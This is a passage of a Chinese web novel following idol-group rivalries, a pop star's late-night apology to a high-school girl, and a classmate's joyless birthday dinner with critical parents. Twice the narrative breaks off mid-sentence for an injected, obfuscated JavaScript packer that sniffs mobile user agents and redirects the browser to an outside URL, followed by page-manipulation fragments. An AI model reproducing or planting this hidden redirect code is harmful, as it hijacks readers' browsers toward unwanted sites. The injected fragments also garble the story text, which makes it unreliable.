——语气亲昵,声调张扬,话里含笑。 楚恒一顿。 抬起头,正好对上赵焰温柔的笑脸,笑得眼睛弯弯,柔和无比。 他快速扫过一眼周围。 全员都到齐了。和之前开会的懒散样子不同,所有人都精心打扮,坐得端正,三三两两坐在一起,看见他走了进来,全部扬起脸冲他笑。 “……” 他睫毛颤了颤,视线转向一旁闪着红灯正在录制的摄像机。 …… 抽签结束了。 顾安对选人没抱什么希望。 不是所有人都可以像赵焰一样随便挑。赵焰第一期直接挑了陆橙,第二期又精挑细选,选到了隔壁UNIVERSE的Levi。 Levi在团里是可爱担当,年纪很小,妈粉很多。而赵焰在STAR里的人设是温柔大方、善解人意、经常关心队友的有钱少爷。他精挑细选一个和他人设相配的Levi,就是为了造CP。 顾安不禁觉得,赵焰看起来真的很看重这次综艺。Levi在团里不如CenterJoseph突出,但是依然是人气上位圈,不算扶贫,还能和自己的人设形象搭上。 ——UNIVERSE是大型团,能想到这个选择,他估计也暗地里下了不少功夫。 应该是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292130|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚恒和沈一瑾那个突然爆火的练习室视频,让所有人都开始有了压迫感吧。 都是一样的,他凭什么? “……”顾安看向一旁脸上已经胜券在握的赵焰。 他手里的纸条,上面一定已经写着Levi了。 赵焰想要的东西,怎么会没有呢? 这么久以来,唯一没有的东西,也就是STAR的C位了吧。 想到这里,顾安竟然觉得有点好笑。 他掀开了手上的纸条,决定就看命吧,是谁都接受。 纸条上白纸黑字,印着两行清清楚楚的字: ——“STAR”。 ——“楚恒”。 !! 顾安呆住了。 他有些心神恍惚地迅速把手里的纸条反面朝下压在桌面上,又扫了一眼正在工作的三台机位,尽力保持面上的平静。 一抬头,就撞上了一旁的赵焰直直投射过来的目光。 ——赵焰看上去心情极好,眼角和嘴边都含着笑。 他眼里闪过一丝尽在掌握的光。 然后,视线下移,睨了一眼顾安盖在桌上的纸条。 赵焰知道纸条上是谁!! 不。不止。 顾安一抖,瞬间就明白了一切。 “赵焰想要的东西,怎么会没有呢?” 他抽到楚恒,是必然的结果。 这就是赵焰想要的结果。 “顾安。” 赵焰柔和的声线从前方传来,明明轻言细语,却像毒蛇吐息。 “你抽的是谁呀?公布一下吧。” 在场所有人的目光全部朝他集中过来,摄影师掰着摄像机对准他,机身上闪着的红光像恐怖片里的危险信号,一声一声催着顾安主动自投罗网。 “……” 他抬起手,掀开纸条,给所有人看。 “楚恒。” 他看向一旁的那个沉默的金发身影。 以为会看到惊讶,或是为难,或是阴沉。 ——但是没有,什么都没有。 那人只是顿了一下,随后移开了目光,在摄像机下点了点头,整个人都笼罩在一股莫名其妙的低气压下,没有任何别的反应。 顾安握紧了拳头。 嗯。陷阱是赵焰设的。但是,他甘心自投罗网。 赵焰不是想要看到尴尬吗?不是想要看到关系破裂吗?不是想要观众看到STAR最真实的样子和最不合拍的组合吗? 不是想要看到楚恒失败吗? 不是想要STAR的C位吗? …… 顾安呼出一口气。 他看了看自己的手掌。好像也像看清了自己的心。 要诚实地承认吗? 其实,这也是他自己心里想要的东西吧。 * “什么?!” 八楼办公室里,梁吟东坐在办公椅上,对面站着小宋。 小宋抱着一摞文件夹,顶着梁吟东黑掉的脸色,硬着头皮说完了剩下的话。 “现在团队的影视方面商务,都由胡权胡经纪人负责。” “上次找来的楚恒和沈一瑾的那个古偶……” “胡经纪人安排给了……赵焰。” 梁吟东深呼吸几口。 “理由。” “胡经纪人说,这个角色比较适合赵焰……个人好了,团体才能好……”“ “他为什么不找我先商量一下?” “胡经纪人说,影视方面由他全权负责,不必……和其他人商量。” “片方答应了?” “是……本来没答应,后来不知道怎么,就答应了。” 不知道怎么? 梁吟东冷笑一声。 她半晌没说话,小宋只能感受到办公室周围的气温越来越低。 “梁姐……下周跨部门会议,要不要上报解决一下这个问题?” 依然沉默。 死一般的几秒钟之后,梁吟东面无表情开口: “没用。” “你去和明红说一下这件事,问一下她的想法,看她接不接。” …… “赵焰?!” 沈一瑾“刷——”地一下站起来。 “我不接!!!” 65. 第 65 章 “唉。”明红脸色也不好看,“你冷静点。” 她低着头,心里实在是有些震惊于贾威这次的做法。 ——上次会议上直接公开把一部分工作转给胡权,现在直接把队友的个人影视资源找关系给赵焰。 怪不得梁吟东会生气成这样。 一步步的试探,一步步的压迫,一步步的架空。 明红扪心自问,同样作为团体的经纪人,如果MOON突然出现一个胡权一样的人要来分她的权,她第一件事就是把这人斗下去。 沈一瑾坐下来,气呼呼地拍着沙发。 “红姐!” “我绝对不会接的。” “要么让他们换人!” “就算不是楚恒,是任何人都行。” 她咬着牙,气得小脸都有些涨红,“反正我绝不和赵焰合作。” ——这人,颠倒黑白,利用家里关系随意抢队友资源,练习三天打鱼两天晒网,不把任何人放在眼里。 这种人如果都能拿到其他人梦寐以求的资源去演戏,那真是太不公平了! 明红半晌没说话。 过了好几分钟,才慢慢说: “我目前还不能答应你。” 沈一瑾倏地抬起头:“红姐!” “本子我看了,还不错。整个项目虽然投入预算少,但是班底正规。小成本小投入古偶网剧,没出成绩不意外,要是出了成绩,那就是大赚。” “对于你第一部戏来说,这是很好的机会。” 明红看着沈一瑾,神色认真。 “小瑾,你知道我为什么要向公司提议做家族综艺吗?” 沈一瑾脸上余怒未消,把头瞥向一边,嘟囔:“还能因为什么。炒CP赚热度呗。” “是。” “但是,这只是第一个原因。” “你是MOON的center,现在整个公司的偶像里,你是人气第一。STAR的所有人,或者说其他团的所有人,对你来说都是下配。他们都是‘高攀’,都是‘蹭你的热度’。” “你有没有想过,我为什么还要你去和他们炒CP?” “……”沈一瑾有点呆了。 明红缓缓说: “因为你要转型了。” “偶像做不了一辈子,特别是女偶像。国内本身偶像市场就不好,没资源没平台没市场,演员歌手才是最终长久之路。” “对你来说,拼一拼小花,慢慢转型演员,才是你以后的路。” “在团里你的形象是跳舞好的活泼小女孩,性格天真的大小姐。这种人设在当偶像的时候有人吃,但是如果要演戏,还不够当女主,因为小孩子气太重,演恋爱纷纷出戏。形象不搭,没戏约,你拿什么去和那些科班出身的一拨一拨的年轻女演员拼?” “我……”沈一瑾嗫嚅着想说什么,可是到头来却好像悲哀地发现,红姐说得好对。 她垂头丧气地低下了脑袋。 也许,她真的很孩子气吧。 …… 明红最后看了她一眼,站起了身。 “我再去和他们谈一谈,看看男主演人选是否还有余地。” “但是这个机会,我会给你接。” 她弯下腰,轻轻摸了一下沈一瑾的脑袋,像哄孩子一样:“好吗?听我的。” 那个脑袋没动,半晌,才沉沉地点了两下。 * 黄怀予趴在课桌上呼呼大睡。 她手臂下面垫着一个小小的但是很厚的抱枕——就是李唯艺和林潇潇一起送给苏琬的那个生日礼物。 多好的枕头,多实用的功能——只可惜苏琬每天精神太足,下课了还拿着笔天天做题,实在是派不上用场。 那就正好借给她啦! 每天都困得要死,也就课间这不到十分钟能睡一会。等会上课铃一打,又要强撑着精神起来听课。 嗯,这就是高三的日常生活。 …… 下一秒抽屉里的手机就震了两下。 她不耐烦掀开眼皮,打开一看,果然又是他。 【楚老师】 【楚老师】 【楚老师】 自从昨天晚上把他删了之后,这个请求添加好友的通知一直响到现在。 她有点不明白,都说互删了他为什么还要把自己加回来。 …… 黄怀予昨天晚上删掉他的时候,其实很平静。 她想通了,自己确实有点喜欢楚恒,但是她确实很擅长压抑感情——比如初中的时候就能化暗恋为动力硬是当了三年第二,要知道她们班当时除了卫语,也是有很多其他学霸的,但是都没能考赢她。 把楚恒删掉的那一刻,黄怀予就已经决定迎接新生活了。 这份暗恋反正也是无疾而终的,楚恒也根本不喜欢自己,从头到尾对自己都坦诚清白,既然如此她还是别在人家通讯录里呆着了,再怎么说人家都有正牌女友沈一瑾。 她以为对面也是一样的,看到她发过去的“互删再见”两个字就能理解,说不定还会暗地里夸自己自觉,主动提出这个要求。 ——没想到,昨天晚上才刚躺下,手机就开始狂震。 【楚老师】请求添加你为好友。 【楚老师】请求添加你为好友。 ? 她没管,打了个哈欠直接睡了。 以为第二天总不会再发了,没想到从早上六点开始,一直响到现在下午两点半。 【楚老师】 【楚老师】 …… 中间九点钟的时候似乎平息了一个小时左右,黄怀予知道他可能去练习室练舞去了,因为他以前的朋友圈经常是这个时候发一张在练习室的照片。 但是一个小时后又开始狂发,频率比之前更高。就好像是发了一半心绪难平就去疯狂练舞,一通发泄完了之后更难平了,于是继续回来更疯狂地发。 他可能有什么事? 黄怀予有些疑惑,把手机放在桌上,接受了好友申请。 14:30 【杯子】:哈喽楚老师,有事吗? 对面立刻显示正在输入中,黄怀予耐心等着,但是等了好几秒对面还是正在输入中。她困倦地打个哈欠,锁了屏幕继续开始睡。 没睡一会,上课铃就震耳欲聋地响起,她挣扎抬起头,揉揉眼睛,把息屏的手机扔进了抽屉,开始上课。 一下午的时间很快就在哈欠连天的眼泪中呼呼而过。 下午五点,黄怀予心情很好地拎着奶茶走进教室,正准备给自己的晚饭找一个下饭视频,点开手机——却惊讶发现消息栏那里一下子挤满了消息。 哦,她差点忘了。楚恒话好像还没说完。 …… 14:30 【杯子】:哈喽楚老师,有事吗? 14:31 【楚老师】:我没有跟沈一瑾谈恋爱。 【楚老师】:我很少跟她讲话。 【楚老师】:我很少跟任何女生讲话。 14:32 【楚老师】:是公司的话题和节目需要,没有提前告诉我,我不知情。我以为只是单纯的舞台录制。 【楚老师】:我昨晚和经纪人开完会才知道公司有这方面的宣传。 14:35 【楚老师】:没有骗你。 【楚老师】:我也很少上网,之前的事我都不了解。 14:37 【楚老师】:是真的…… 14:39 【楚老师】:是我的问题。事情已经发生了,说这些都没有用。 【楚老师】:对不起。 【楚老师】:你在忙吗。 【楚老师】:对不起。 【楚老师】:打扰你了,你应该在上课吧。对不起。 15:00 【楚老师】:我昨晚已经和经纪人和公司说清楚了,我不会接受炒CP。 【楚老师】:他们目前还没有同意。但是我会再去争取的。 【楚老师】:要他们接受可能需要一些时间。但是我会一直争取。 16:30 【楚老师】:你生气了吗。 【楚老师】:对不起。不应该打 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“他加你?”谷奕似乎一下子抓住重点,“他不是有你微信吗,为什么还要加你?” 黄怀予略微烦躁地摆摆手,“我把他删了。” “什么?!” 谷奕瞪圆了眼睛。 “你们中间发生了什么爱恨情仇!我居然不知道!” “……这三言两语很难说清楚。”黄怀予有些疲惫,“反正,我昨天晚上删了他。但是他一直加我。我一想,其他人都不可能,我小姨也不会,就只有你才会把我的微信给他。” “这下我真的冤枉。”谷奕把之前曾经被楚恒大半夜夺命连环call要微信的事情隐去了,只真诚地讲述昨晚的事,“他昨天都没找过我。不信你看我们聊天记录。” ? 黄怀予皱起了眉。 “那他怎么加我的?” “也不一定要别人推才能加你啊。”谷奕扬扬眉毛,“也有可能是他一直记得你的手机号或者微信号。” “……” 黄怀予心里一动,别过头去。 “没这种可能。” 谷奕看她一眼,插着碗里的饭,那天晚上被楚恒打电话要黄怀予微信的离谱经历浮现眼前。 “那可不一定。” 谷奕懒散的、轻飘飘的话像风一般飘进黄怀予耳朵里。她心里有些乱,挥挥手回到了自己的座位上。 …… 漫长的晚自习过去,转眼已经夜晚十点。 教室的人已经走光,黄怀予独自一人在空荡的教室里做题。写完最后一个字,她站起身呼出一口气,揉揉手腕,熟练地背上书包关上了灯。 走出一号教学楼,夜幕低垂,月明星稀。 空荡的校园在夜色里泛着冷意,晚风迎面吹来,整个世界都安静无比。 她慢慢在黑夜里走着,心里也好像堵着一口气。她说不出这是一种什么感觉,手机自从晚饭后就放在书包里再也没有拿出来过,她甚至不知道自己是真的不在乎还是努力装作平静。 “……解释那么多又怎么样。” “记得我的号码又怎么样。” 她突然自言自语地开口。 安静的路上,一个人对自己说话,像一个精神病患者。 “……隔得这么远。” 楚门和帝都隔得这么远。 现实和网络隔得这么远。 学校和经纪公司隔得这么远。 素人和明星隔得这么远。 …… 她走出校门。 前方黑夜沉沉,不远处的路灯旁,却有一个男人站在灯光下。 那人身材颀长,高挑瘦削,踩着一双马丁靴,静静地靠在路灯边,黑色鸭舌帽遮住了他的眉眼。他不知道在那里孤零零站了多久,灯光微弱朦胧,衬得他整个人萧索无比。 66. 第 66 章 黄怀予一下子定住了。 她瞪大了眼睛,就这样看着那人一步步朝她走过来。 帽子被摘掉,被束缚的金发瞬间散落,衬得他眉眼深邃,整张脸清清楚楚地映照在微黄的路灯灯光下,就这样直勾勾地凝眸望着她。 “你……” 黄怀予张了张嘴,不可置信地看着他,才发现自己声音都有些抖。 他向前走了一步,那双桃花眼里藏着深沉浓重的墨色,晦暗不清,有很多说不清道不明的情绪。 “抱歉。” 低沉清润的声音响起。 “虽然已经在手机上讲过了。但是,我想,这句话应该亲口对你说。” …… “我没有和任何人谈恋爱。” “我也不会同意公司炒CP的要求。” “也许他们不会同意,但我会一直坚持。” “如果还是没有结果,我会退出这部综艺的录制。” 他修长的手指抓住了肩膀上的包带,黄怀予这才看见他还背了一个黑色双肩包。 下一秒,她面前就伸过来一只冷白修长骨节分明的手,把整个双肩包都递给了她。 “送给你的。” 黄怀予愣愣接过,拉开拉链,一个十分显眼的奢侈品LOGO就跳了出来。 包里装的满满都是东西,她艰难地伸手进去翻了一下,才发现全是带着各种名牌的礼盒,有的是珠宝品牌,有的是手表品牌,有的是护肤品品牌,塞满了整个包。 “最早的一班飞机是七点的。” “没有时间了,只能在机场买。” “不知道你喜欢什么,所以每一样都买了一两个。” “这个包一起给你,方便你拿。” …… 黄怀予人都是懵的。 她和楚恒之间最后一则消息在下午五点多。如果他搭七点的飞机从帝都的机场出发,那么他就是发完消息后立刻就去了机场,随后坐了两个小时的飞机在江城落地,然后再坐半小时的动车到楚门,最后打车到楚门一中校门口。 他没有联系自己,也没有联系谷奕,他不知道自己什么时候会从校门口出来,所以就这样一直等,等到十点的放学铃声响起,人群潮水般从校门涌出,他再确认里面都没有自己,于是继续就这样等,等到所有人都走光。 ——最后,就这样等到自己出来。 黄怀予脑子乱糟糟的,第一反应就是把双肩包还给他,话里带了一点冷硬。 “我不要。” 楚恒闻言,眨了一下眼睛,长长的睫毛被路灯投射下一片阴影,在他的眼下像蝴蝶般闪动一瞬。 “不喜欢吗。”他情绪低落地开口。 黄怀予一时不知道怎么回答,停了两秒没说话,却好像让他以为是默认。 他又盯着她的脸,问:“你喜欢什么?” 刚说完,他就好像想到什么,话里带了一丝认真:“要不要去吃炸鸡。” “……” 行,她这个喜欢油炸食品的人设确实已经深入人心了,毕竟跟这人见第一面的时候就是因为吃油炸食品吃到吐。 “大半夜的吃什么炸鸡!吃完了又要急性肠胃炎!” “抱歉。” ……一句干脆的道歉又把黄怀予所有话都给堵了回去。 她抬头,楚恒的上半张脸隐没在路灯照不到的黑暗里,因为两人的身高差她只能看见他紧抿的薄唇和绷紧的下颌轮廓。 黄怀予心念一动,突然很想看到现在的楚恒到底是什么表情,所以她稍稍往前走了一步,歪了一下头,更加认真专注地去看他的眼睛。 楚恒明显一愣。 似乎发现她正在非常仔细地看自己的脸。 ——这一幕,很熟悉。 她摔倒在1969门前醒来后,她也是这样看着自己。 她手受伤,陪她在医院里时,她也是这样看着自己。 在1969台上唱歌时,她坐在台下,也是这样看着自己。 ……她的意思是,她不喜欢这些礼物,但是喜欢他的脸? “……”他有些涩然咬了一下唇,眼尾略微带着水光,一双桃花眼小心翼翼垂下却又带着一丝希冀凝视着她,耳根似乎悄悄红了。 “要看得更仔细一些吗。” 他突然开口。 黄怀予一愣,还没来得及去思考这句话什么意思,就看见面前高大的男人突然把腿往两边张开,整个人突然变矮了一些,刚刚只能直视他胸口的黄怀予一下子就能平视到他的脖颈。 下一秒,她就撞见一双清澈的桃花眼,瞳孔里细碎的光斑斓点点,就这样直直地凝望着她。 “昨晚没睡好。刚刚也在赶飞机。” “所以皮肤状态不好。” 他那张棱角分明、清隽英挺的脸瞬间在她眼前放大,她甚至可以在他清澈得像一汪湖水的瞳孔里看见自己小小的倒影。 “下次见面……我会好好做妆发的。” ? 黄怀予呼吸慌乱,心跳如擂鼓。 下一秒她就迅速后退两步,咬着牙偏开脸。 “你这算什么?用你的脸来道歉?” “你也太自恋了。” 话音落下,她就看见对面楚恒眼里刚刚还亮闪闪的光似乎一下子消失了。 “……虽然你是很好看。” 她心软补了一句。 …… 和楚恒之间的距离拉开,黄怀予稍微平复了一下情绪,平心而论刚刚经过了这一通对话,她心里的气早就已经消了。 她有些无奈地说:“虽然你不用向我道歉,也不用改变任何你自己的工作安排……但是,好吧我接受了。你把这些收回去吧,我不能要。” 话音落下,楚恒盯着她伸过来的手和她递过来的双肩包,盯了好一会才缓慢眨了一下眼睛,慢慢吐字: “但是我必须给你什么。” 黄怀予看着他这样一副她不接受就不回去的样子,知道他就是性格如此,干脆快刀斩乱麻,从双肩包里随便拿了一样东西,“那我就要这个。好了,你把其他东西带回去吧。” 楚恒又盯着她手里拿的东西看了几秒钟,似乎在借着路灯灯光看清楚她拿的到底是什么。 她干脆直接送到他面前让他看清楚:“随便拿的。” 楚恒面上流露出一丝失望。 “如果你只要一个,那你能挑一个你最喜欢的吗。” “……”黄怀予伸手进包里翻了几下,光线昏暗也看不清楚,就只能看见一堆包装盒和字。 她收回手,晃晃手里的东西,“我就喜欢这个。” 楚恒低头接过她执意要返还给他的双肩包,又认真看了一眼她手里拿的东西,声音低沉,“好。” “叮铃铃——”突然一阵急促的手机铃声响,像是一下子唤回了黄怀予的理智,她浑身一震掏出手机,果然在上面惊恐地看见了“家家”两个字。 再一看左上角的时间——10:30。 “完了!”她惊慌失措地接通电话,果然第一秒就听见对面传来十分焦急的声音,“怎么还不回家?在哪里?” “……马上马上。” “你是不是跟人在一起?你旁边有谁?男的女的?!” “没有!” “男的吧?是不是?是不是?” “……没有!我在外面吃东西。” “大晚上你吃什么东西?赶紧吃完了回来!” 电话骤然挂断了。 黄怀予摸摸鼻子,只觉得气氛突然变得有些尴尬。 她瞟了一眼面前的楚恒又很快移开目光,“你……今天晚上的酒店在哪?知道路吗?” “没有酒店。” 他声音有些哑。 “今晚在这里等你,然后送你回家,之后订最近的机票回帝都。” “……”有必要这么时间管理大师吗,连续赶两场飞机,就为了见她半个小时? 暗黄的路灯下,他岔开腿站在她面前,光线轻轻扬扬地落下来,把两个人笼罩在黑夜中小小的光明里。 他的金色发顶在路灯的光线下也显得几乎透明全白,高挺的鼻梁边落下阴影,整个人像书上的油画。黄怀予有些呆呆地看着这一幕,突然觉得他像是西方神话里的异世天使,给他头顶带上一个光环就立刻可以飞起来的那种。 “你不用做妆造也好看。” 她突然说。 如此直白的话说出来,楚恒似乎一下子愣怔住。 可是下一秒,那双眼睛瞬间微微睁大,轻轻闪动几下,随后眉宇一下子变得柔和无比,定定地望着她,唇边勾起浅浅的笑意。 清热的瞳孔里,好像只装下了她一个人。 “嗯。” 他低低地回应。 * 301班教室。 黄怀予被门口的同学喊了一声,说有人找。 以为是哪个以前的同学来借笔记,或者是哪个其他班的来借校服。 却没想到,她在教室门口,看见了一个中年女人。 那女人梳着一丝不苟的头发,每一根发丝都规规矩矩地拢在脑后,穿着一身不起眼的灰色的套装,拿着一个包。 “……”黄怀予大脑宕机了几秒,终于认了出来。 ——这是,吴如冬的妈妈。 “阿姨?” 张丽立刻转过头,露出笑容:“怀予!” “阿姨,你怎么来了?” “来找你的。” 她脸上带着笑,可是黄怀予不知道是不是自己的错觉,她每一次见到张丽的时候,都觉得她脸上带着一丝讨好。 …… 以前初中的时候,黄怀予就见过张丽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318442|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那次体测跑八百米,所有人哭天喊地,操场一片鬼哭狼嚎。还是冬天,冷风呼呼地吹,空气里充满了厚重的呼哧呼哧的喘息声。 黄怀予那个时候还是个胖子,跑完以后半条命都没了,冲完线以后瞬间跪倒在地,脸涨得青紫,像一只变异的丧尸。 周围人也差不多都是这样,所有人都一副痛苦面具。 她休息了半天才渐渐恢复,扶着膝盖站起来,结果下一秒就看见,下一组正在跑的人里面,有一个身影突然在拐弯处重重地摔倒了。 那人摔得突然,后面紧跟的同学一个没注意差点被绊倒,叫了一声“卧槽”,原本围在一起跑步的一群人突然散开,纷纷越过了她继续向前跑去。 同组的人没有人管她,因为这是考试,要记成绩。 “吴如冬摔倒了!” “卧槽!” “哈哈哈哈哈!” 操场中间,消息一传十十传百,刚刚跑完的那一组同学也三三两两站在中间,笑着看那个身影倒在地上,大家都在笑她摔倒了。 ——除了黄怀予。 她立刻跑了过去,一把跪在地上,把她扶起来。 “没事吧?” “没事吧?” 黄怀予这才发现,吴如冬脸色比她还不好,整张脸惨白惨白,紧紧皱着眉,呼出的白气一团一团,呼吸像粗重的老式风箱。 她慢慢扶她起来,掏出口袋里的卫生纸想给她擦擦汗。 结果一动她,突然看见,她的双腿张开,裤子裆部中间,洇了一片深黑的红色。 …… 也就是那天,黄怀予见到了张丽。 学生在学校里摔倒,差点晕了,这种事家长一定要到的。 “是你把吴如冬送回去的吧?谢谢你啊同学。” 张丽简单和黄怀予打了个招呼。 “没事阿姨。” Social完了,吴如冬也没什么事了,黄怀予正准备走,突然被张丽叫住。 “同学,你叫什么名字啊。” 黄怀予顺口一答:“黄怀予。” ——却没想到,刚刚还一脸平静的张丽在听完了她的名字以后,突然站起来,眼里射出一点兴奋的光。 她一把抓住黄怀予的手: “你就是黄怀予!” “你成绩怎么这么好啊!每次都全班第二名,女生里的第一名!你怎么考的呀!” “谢谢你啊!你真是成绩又好,人又善良!” “你平时多和吴如冬玩玩啊,你多带带她,让她跟你好好学习!” …… 即使三四年过去了,黄怀予对那一幕依然记忆深刻。 也就是因为这样的开头,所以每次黄怀予见到张丽,都觉得她极其热情。 她会把黄怀予夸得天上有地上无,顺带贬低一波自家吴如冬,最后的落脚点就是让黄怀予多教教吴如冬学习。 ——弄得黄怀予压力很大。 她实在不好意思告诉张丽,其实吴如冬比她学习要刻苦多了。 她要是学习有吴如冬那个劲头,说不定早就能搞个年级前五梦一下了。 “阿姨,有什么事呀?” “是这样的,吴如冬过几天过生日,我们下周五晚上在楚味楼办酒。人不多,都是熟人,你一定要来呀!” 黄怀予松了一口气。 原来是过生日,那敢情是好事。她还以为又是让她去教吴如冬学习——一个文科生怎么教理科生嘛! “没问题!我一定到!” 黄怀予拍拍胸脯,笑得很开心。 ——结果下一秒,张丽就紧接着说: “你能去就太好了!” “你最近和吴如冬是不是没什么机会见面呀?” “你这次去了,一定要帮我好好说说她!” “她太过分了,最近成绩下降了十多名!以前还能是年级前一百,现在居然是一百一十名了!” “她每天心思都不在学习上!就喜欢那个动画片!家里也摆了一大堆那些叫什么周边!” “明天我就全给她烧了!我让她看!” “阿姨!” 黄怀予赶紧拉住她。 自己过生日,一句好话都没听到,全是责备——黄怀予此时很庆幸吴如冬不在这里,不然,她心里一定不好受。 黄怀予无奈解释: “高三压力大,成绩有波动都是很正常的事,她可能是最近压力太大了。” “她平常学习很认真的,比我还要认真多了!你要相信她。” “她有自己的爱好是好事呀,她只是偶尔看一看,没有影响学习的。” 认真解释了一大堆,黄怀予敏锐地发现,对面完全没在听。 “……”她住了嘴,只好叹口气,“谢谢阿姨,我下周五一定去。” 张丽这才重新露出笑容。 67. 第 67 章 周五晚上。 黄怀予拎着一个礼物袋,特地先回家打扮得正式了一点,就立刻打车去了市中心的楚味楼。 人生中没几次有机会来楚味楼吃饭,珍惜每一次吧。黄怀予站在金碧辉煌的门口感叹了一下。 这是吴如冬的18岁生日。 吴如冬比她大一岁。 以前初中的时候听她说,她晚入学了一年,因为小时候笨。也正是因为晚入学了一年,她家人一直都觉得她落后于别人,卯足了劲让她拼命学习,才能补上和别人的差距。 ——“你和别人哪里有差距?” 彼时黄怀予真诚地对吴如冬发出了疑问。 收到张丽的邀请的时候,黄怀予还是很惊喜的。 她本来以为过生日这种事,不会被张丽这种类型的家长放在心上——现在看来,是她先入为主误会了。 都来楚味楼过生日了!多重视! 人家18岁生日,一定要好好过的,对吧! 吴如冬会很高兴的,对吧? 她心情很好地上了二楼。 走进包厢,张丽笑容满面的脸就迎了上来。 圆桌上坐满了人,一眼看过去全都是吴如冬的家长。 黄怀予一转眼,就在角落里看见来了吴如冬。 ——她还是那样,戴着像啤酒瓶底一样很厚很厚的眼镜,穿着黑色的宽大T恤,头发像张丽一样一丝不苟地全部梳进了马尾里,弯腰驼背,眼神呆滞地坐在座位上。 黄怀予一愣。 她跟在场的每个家长都打了招呼,最后才坐下,笑着看了一眼坐在角落的吴如冬,冲她挥了挥手。 看见黄怀予进了包厢,和她打招呼,吴如冬似乎才注意到有人进来。 ——看见来人是黄怀予的那一刻,她愣了一下,随后嘴角立刻绽放出一个微笑的弧度,脸上如冰雪消融,眼里似乎也有了生机,直勾勾地盯着她,用力点点头。 “送你的礼物。” “生日快乐!” 黄怀予期待地递上一路拎过来的礼物袋。 “……喜欢吗?” 黄怀予送的,是吴如冬喜欢的那个动漫角色的手办。 她在网上蹲了很久才找到的。这个手办已经绝版了,她在某海鲜市场找了一个星期才找到一个靠谱的卖家,买回来又认真重新包装了一下。 吴如冬拆开,脸上出现极其惊喜的表情。 “喜欢!” “你送的我都喜欢!” 她脸上绽放出一个极其温暖开心的笑容。黄怀予觉得,她应该多笑笑,她笑起来像一只小鹿。 ——“这花了不少钱吧?” 一道有些突兀的声音响起。 黄怀予看向一旁插话的张丽,她装作不在意送的内容,又在吴如冬拆掉包装以后够着脖子去看里面的东西。 等到看清了是什么以后,她脸上出现一丝尴尬。 “这得不少钱吧?” “你就会哄她高兴,就送这种她喜欢的乱七八糟的东西。” “这种东西,也就吴如冬喜欢。怀予你平时和肯定不看这种东西的,对吧?” …… 一旁,吴如冬的爸爸一边笑,一边极其自然地就搭上了话: “吴如冬呀,就喜欢这种东西,不务正业!玩物丧志!” “她从初中开始就成绩差,怎么像人家怀予,初中就是全班第二,所有女生里的第一名!” “现在高中了,人家怀予成绩还是那么好。我上次经过一中门口,还在门口的光荣榜上看到了人家的名字,文科年级前十嘞!” “吴如冬啊,怎么比得上人家?考个一中都勉勉强强,现在也就混着一个一百多名的位置。” 黄怀予越听,眉头越皱起来。 她偷偷去看吴如冬的神色。 ——果然看见,她刚刚才因为自己和送的礼物而浮现出来的笑容,立刻就消失了。 她又恢复了那种呆呆的表情,坐在座位上一言不发,似乎早已经习惯了多年以来父母在众人面前对自己无休止的贬低。 她旁边坐着她外婆。 整张桌子上,只有她外婆偶尔劝了几句: ——“好了,别说了,快吃吧。这菜都冷了。” 这几句话稍微打住了她父母连环炮似的话语。 外婆拿起筷子,加了一块糖醋排骨,放在了吴如冬碗里。 “……”她似乎是终于回过神,低着头,拿起筷子,极其沉默乖顺地把那块排骨吃下去了。 …… “妈,你那是不知道人家怀予有多用功。” “你平时老说,吴如冬是因为我和她爸从小不在她身边,没人督促她学习,她才成绩差的。” “可是,人家怀予也是一样的呀!” “怀予父母也是不在身边,从小被外婆带大的。她多懂事啊!从小爸妈都不在,但是自己争气,从来不让家里操心。” “我要是有这样的女儿,我真是做梦都要笑醒!” ——“吴如冬成绩很好。” 黄怀予脸上表情不怎么好看,明明是被夸,可是没有一刻是轻松的。 她拳头攥了又攥,终于忍不住说出口。 “好什么呀!年级一百五十多名!全班倒数!” 黄怀予认真说: “因为她在理科快班呀。除了两个火箭班之外,快班是最厉害的了,竞争大,就算是班上倒数也是年级里很优秀的人了啊。” “她能考上快班,就说明她本身就很厉害了呀!” “得了吧。”张丽揶揄着打断,“那也就是那一次分班考试,撞见鬼了走狗屎运,才分到一个快班。” “现在都两年多过去了,都高三了,越来越不行,越来越跟不上,每天都吊车尾。” “……”黄怀予神色严肃了起来,想继续再说,却一下子看见了吴如冬父母两人脸上的笑。 ……他们,在笑? 是的。 很自然的笑,笑着说出这些最伤人的话,笑着在众人面前戳女儿心窝子,笑着习惯了女儿脸上呆滞沉默的神情。 黄怀予突然觉得,再说什么,都没有意义了。 因为他们不在乎。 * 一顿生日宴,吃得沉默怪异。 吹蛋糕,满室烛光,欢声笑语,可是最中间那个主人公,却凝滞着不动,脸上一片死气。 黄怀予一把牵起吴如冬的手,认真地看她,嘴角扬起一个笑。 “许个愿吧。” “……”她仿佛这才从梦中醒来,顺着自己被牵住的手,一直往上看,一直看到黄怀予那双眼睛里。 ——杯子叫她许愿。 她点点头:“好。” 她睫毛颤了颤,慢慢地把两只手掌握成了拳头,聚在了一起,然后,闭上了眼睛。 ……要许一个什么愿呢? 吴如冬很努力地想。 啊! 那就这个吧。 她想象着那个愿望真正实现的场景,突然觉得自己很幸福,脸上出现了一丝浅淡的 